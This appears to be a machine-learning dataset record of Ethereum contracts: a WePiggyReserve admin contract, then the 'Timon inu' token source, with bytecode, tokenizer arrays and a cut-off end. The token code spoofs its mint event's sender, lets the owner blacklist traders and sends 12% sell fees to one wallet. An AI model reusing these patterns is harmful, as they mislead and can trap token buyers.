zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } contract WePiggyReserve is Initializable { using SafeERC20Upgradeable for IERC20Upgradeable; using AddressUpgradeable for address; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public fundsAdmin; address public owner; event FundsAdminTransferred(address indexed previousFundsAdmin, address indexed newFundsAdmin); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyFundsAdmin() { require(msg.sender == fundsAdmin, 'caller is not the fundsAdmin'); _; } modifier onlyOwner() { require(owner == msg.sender, "caller is not the owner"); _; } function initialize(address _fundsAdmin) external initializer { fundsAdmin = _fundsAdmin; owner = msg.sender; } function approve( IERC20Upgradeable token, address recipient, uint256 amount ) external onlyFundsAdmin { token.safeApprove(recipient, amount); } function transfer( address asset, address recipient, uint256 amount ) external onlyFundsAdmin { if (asset == ETH) { (bool success,) = recipient.call{value : amount}(""); require(success == true, "Couldn't transfer ETH"); return; } IERC20Upgradeable(asset).safeTransfer(recipient, amount); } function call(address target, bytes memory data, uint256 value, uint256 callType) external onlyFundsAdmin returns (bytes memory) { if (callType == 1) { return target.functionCallWithValue(data, value); } else if (callType == 2) { return target.functionStaticCall(data); } else { return target.functionCall(data); } } function transferFundsAdmin(address newAdmin) public onlyOwner { require(newAdmin != address(0), "new admin is the zero address"); address oldAdmin = fundsAdmin; fundsAdmin = newAdmin; emit FundsAdminTransferred(oldAdmin, newAdmin); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "new owner is the zero address"); address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } receive() payable external {} }
0x60806040526004361061007f5760003560e01c8063c4d66de81161004e578063c4d66de814610141578063d2bfe9e514610161578063e1f21c6714610181578063f2fde38b146101a157600080fd5b8063873ad0ac1461008b5780638da5cb5b146100c1578063950d550c146100f9578063beabacc81461011f57600080fd5b3661008657005b600080fd5b34801561009757600080fd5b506100ab6100a6366004610c29565b6101c1565b6040516100b89190610d8a565b60405180910390f35b3480156100cd57600080fd5b506001546100e1906001600160a01b031681565b6040516001600160a01b0390911681526020016100b8565b34801561010557600080fd5b506000546100e1906201000090046001600160a01b031681565b34801561012b57600080fd5b5061013f61013a366004610be9565b610258565b005b34801561014d57600080fd5b5061013f61015c366004610bcd565b61036d565b34801561016d57600080fd5b5061013f61017c366004610bcd565b610457565b34801561018d57600080fd5b5061013f61019c366004610d16565b61055c565b3480156101ad57600080fd5b5061013f6101bc366004610bcd565b6105a0565b6000546060906201000090046001600160a01b031633146101fd5760405162461bcd60e51b81526004016101f490610d9d565b60405180910390fd5b81600114156102215761021a6001600160a01b038616858561069c565b9050610250565b816002141561023d5761021a6001600160a01b038616856106cc565b61021a6001600160a01b038616856106f1565b949350505050565b6000546201000090046001600160a01b031633146102885760405162461bcd60e51b81526004016101f490610d9d565b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610354576000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146102fa576040519150601f19603f3d011682016040523d82523d6000602084013e6102ff565b606091505b509091505060018115151461034e5760405162461bcd60e51b8152602060048201526015602482015274086deead8c8dc4ee840e8e4c2dce6cccae4408aa89605b1b60448201526064016101f4565b50505050565b6103686001600160a01b0384168383610733565b505050565b600054610100900460ff1680610386575060005460ff16155b6103e95760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016101f4565b600054610100900460ff1615801561040b576000805461ffff19166101011790555b600080546001600160a01b038416620100000262010000600160b01b0319909116179055600180546001600160a01b031916331790558015610453576000805461ff00191690555b5050565b6001546001600160a01b031633146104ab5760405162461bcd60e51b815260206004820152601760248201527631b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016101f4565b6001600160a01b0381166105015760405162461bcd60e51b815260206004820152601d60248201527f6e65772061646d696e20697320746865207a65726f206164647265737300000060448201526064016101f4565b600080546001600160a01b038381166201000081810262010000600160b01b0319851617855560405193049190911692909183917f20995e44062cb11d569621731ad07c6f6a75c07c386b35debbd4c2f6d574fb7791a35050565b6000546201000090046001600160a01b0316331461058c5760405162461bcd60e51b81526004016101f490610d9d565b6103686001600160a01b0384168383610796565b6001546001600160a01b031633146105f45760405162461bcd60e51b815260206004820152601760248201527631b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016101f4565b6001600160a01b03811661064a5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016101f4565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60606106c2848484604051806060016040528060298152602001610e2f602991396108ba565b90505b9392505050565b60606106c58383604051806060016040528060258152602001610e58602591396109e2565b60606106c583836040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610ab3565b6040516001600160a01b03831660248201526044810182905261036890849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610ac2565b80158061081f5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b1580156107e557600080fd5b505afa1580156107f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081d9190610d2a565b155b61088a5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084016101f4565b6040516001600160a01b03831660248201526044810182905261036890849063095ea7b360e01b9060640161075f565b60608247101561091b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016101f4565b843b6109695760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016101f4565b600080866001600160a01b031685876040516109859190610d6e565b60006040518083038185875af1925050503d80600081146109c2576040519150601f19603f3d011682016040523d82523d6000602084013e6109c7565b606091505b50915091506109d7828286610b94565b979650505050505050565b6060833b610a3e5760405162461bcd60e51b8152602060048201526024808201527f416464726573733a207374617469632063616c6c20746f206e6f6e2d636f6e746044820152631c9858dd60e21b60648201526084016101f4565b600080856001600160a01b031685604051610a599190610d6e565b600060405180830381855afa9150503d8060008114610a94576040519150601f19603f3d011682016040523d82523d6000602084013e610a99565b606091505b5091509150610aa9828286610b94565b9695505050505050565b60606106c284846000856108ba565b6000610b17826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610ab39092919063ffffffff16565b8051909150156103685780806020019051810190610b359190610cf6565b6103685760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016101f4565b60608315610ba35750816106c5565b825115610bb35782518084602001fd5b8160405162461bcd60e51b81526004016101f49190610d8a565b600060208284031215610bde578081fd5b81356106c581610e16565b600080600060608486031215610bfd578182fd5b8335610c0881610e16565b92506020840135610c1881610e16565b929592945050506040919091013590565b60008060008060808587031215610c3e578081fd5b8435610c4981610e16565b9350602085013567ffffffffffffffff80821115610c65578283fd5b818701915087601f830112610c78578283fd5b813581811115610c8a57610c8a610e00565b604051601f8201601f19908116603f01168101908382118183101715610cb257610cb2610e00565b816040528281528a6020848701011115610cca578586fd5b826020860160208301379182016020019490945295989597505050506040840135936060013592915050565b600060208284031215610d07578081fd5b815180151581146106c5578182fd5b600080600060608486031215610bfd578283fd5b600060208284031215610d3b578081fd5b5051919050565b60008151808452610d5a816020860160208601610dd4565b601f01601f19169290920160200192915050565b60008251610d80818460208701610dd4565b9190910192915050565b6020815260006106c56020830184610d42565b6020808252601c908201527f63616c6c6572206973206e6f74207468652066756e647341646d696e00000000604082015260600190565b60005b83811015610def578181015183820152602001610dd7565b8381111561034e5750506000910152565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610e2b57600080fd5b5056fe416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564416464726573733a206c6f772d6c6576656c207374617469632063616c6c206661696c6564a26469706673582212207811174f94a18a2afa17dbcda20cee4a5ebc12b401ec4318ad75c753f40accd464736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2683, 2487, 2278, 21057, 2581, 2546, 20952, 2094, 17914, 2683, 2620, 2475, 2063, 2581, 2509, 2050, 2581, 2094, 2575, 3540, 23777, 27814, 2050, 2620, 6679, 21472, 16048, 4402, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 6279, 24170, 3085, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,896
0x9791fde3c08242763718763f3ca7ad80001e41f3
/** TG: https://t.me/TimonToken */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Timon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Timon inu"; string private constant _symbol = "TIMON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7Ce86Ad980f89c8d242F30f98DF7fbc9aF24bA8A); _feeAddrWallet2 = payable(0x7Ce86Ad980f89c8d242F30f98DF7fbc9aF24bA8A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c6578063b515566a146102e6578063c3c8cd8014610306578063c9567bf91461031b578063dd62ed3e1461033057600080fd5b806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057806395d89b411461029857600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780635932ead1146102065780636fc3eaec1461022657600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600981526854696d6f6e20696e7560b81b60208201525b60405161014991906117ba565b60405180910390f35b34801561015e57600080fd5b5061017261016d36600461165a565b610376565b6040519015158152602001610149565b34801561018e57600080fd5b50683635c9adc5dea000005b604051908152602001610149565b3480156101b457600080fd5b506101726101c3366004611619565b61038d565b3480156101d457600080fd5b506101e86101e33660046115a6565b6103f6565b005b3480156101f657600080fd5b5060405160098152602001610149565b34801561021257600080fd5b506101e8610221366004611752565b61044a565b34801561023257600080fd5b506101e8610492565b34801561024757600080fd5b5061019a6102563660046115a6565b6104bf565b34801561026757600080fd5b506101e86104e1565b34801561027c57600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a457600080fd5b506040805180820190915260058152642a24a6a7a760d91b602082015261013c565b3480156102d257600080fd5b506101726102e136600461165a565b610555565b3480156102f257600080fd5b506101e8610301366004611686565b610562565b34801561031257600080fd5b506101e86105f8565b34801561032757600080fd5b506101e861062e565b34801561033c57600080fd5b5061019a61034b3660046115e0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103833384846109f2565b5060015b92915050565b600061039a848484610b16565b6103ec84336103e7856040518060600160405280602881526020016119a6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e63565b6109f2565b5060019392505050565b6000546001600160a01b031633146104295760405162461bcd60e51b81526004016104209061180f565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104745760405162461bcd60e51b81526004016104209061180f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b257600080fd5b476104bc81610e9d565b50565b6001600160a01b03811660009081526002602052604081205461038790610f22565b6000546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104209061180f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610383338484610b16565b6000546001600160a01b0316331461058c5760405162461bcd60e51b81526004016104209061180f565b60005b81518110156105f4576001600660008484815181106105b0576105b0611956565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ec81611925565b91505061058f565b5050565b600c546001600160a01b0316336001600160a01b03161461061857600080fd5b6000610623306104bf565b90506104bc81610fa6565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104209061180f565b600f54600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610420565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082683635c9adc5dea000006109f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076091906115c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906115c3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610890816104bf565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061178c565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ba57600080fd5b505af11580156109ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f4919061176f565b6001600160a01b038316610a545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610bdc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6002600a908155600b556000546001600160a01b03848116911614801590610c7457506000546001600160a01b03838116911614155b15610e53576001600160a01b03831660009081526006602052604090205460ff16158015610cbb57506001600160a01b03821660009081526006602052604090205460ff16155b610cc457600080fd5b600f546001600160a01b038481169116148015610cef5750600e546001600160a01b03838116911614155b8015610d1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610d295750600f54600160b81b900460ff165b15610d8657601054811115610d3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6157600080fd5b610d6c42601e6118b5565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db15750600e546001600160a01b03848116911614155b8015610dd657506001600160a01b03831660009081526005602052604090205460ff16155b15610de6576002600a908155600b555b6000610df1306104bf565b600f54909150600160a81b900460ff16158015610e1c5750600f546001600160a01b03858116911614155b8015610e315750600f54600160b01b900460ff165b15610e5157610e3f81610fa6565b478015610e4f57610e4f47610e9d565b505b505b610e5e83838361112f565b505050565b60008184841115610e875760405162461bcd60e51b815260040161042091906117ba565b506000610e94848661190e565b95945050505050565b600c546001600160a01b03166108fc610eb783600261113a565b6040518115909202916000818181858888f19350505050158015610edf573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610efa83600261113a565b6040518115909202916000818181858888f193505050501580156105f4573d6000803e3d6000fd5b6000600854821115610f895760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610420565b6000610f9361117c565b9050610f9f838261113a565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fee57610fee611956565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104257600080fd5b505afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906115c3565b8160018151811061108d5761108d611956565b6001600160a01b039283166020918202929092010152600e546110b391309116846109f2565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611844565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5e83838361119f565b6000610f9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611296565b60008060006111896112c4565b9092509050611198828261113a565b9250505090565b6000806000806000806111b187611306565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e39087611363565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121290866113a5565b6001600160a01b03891660009081526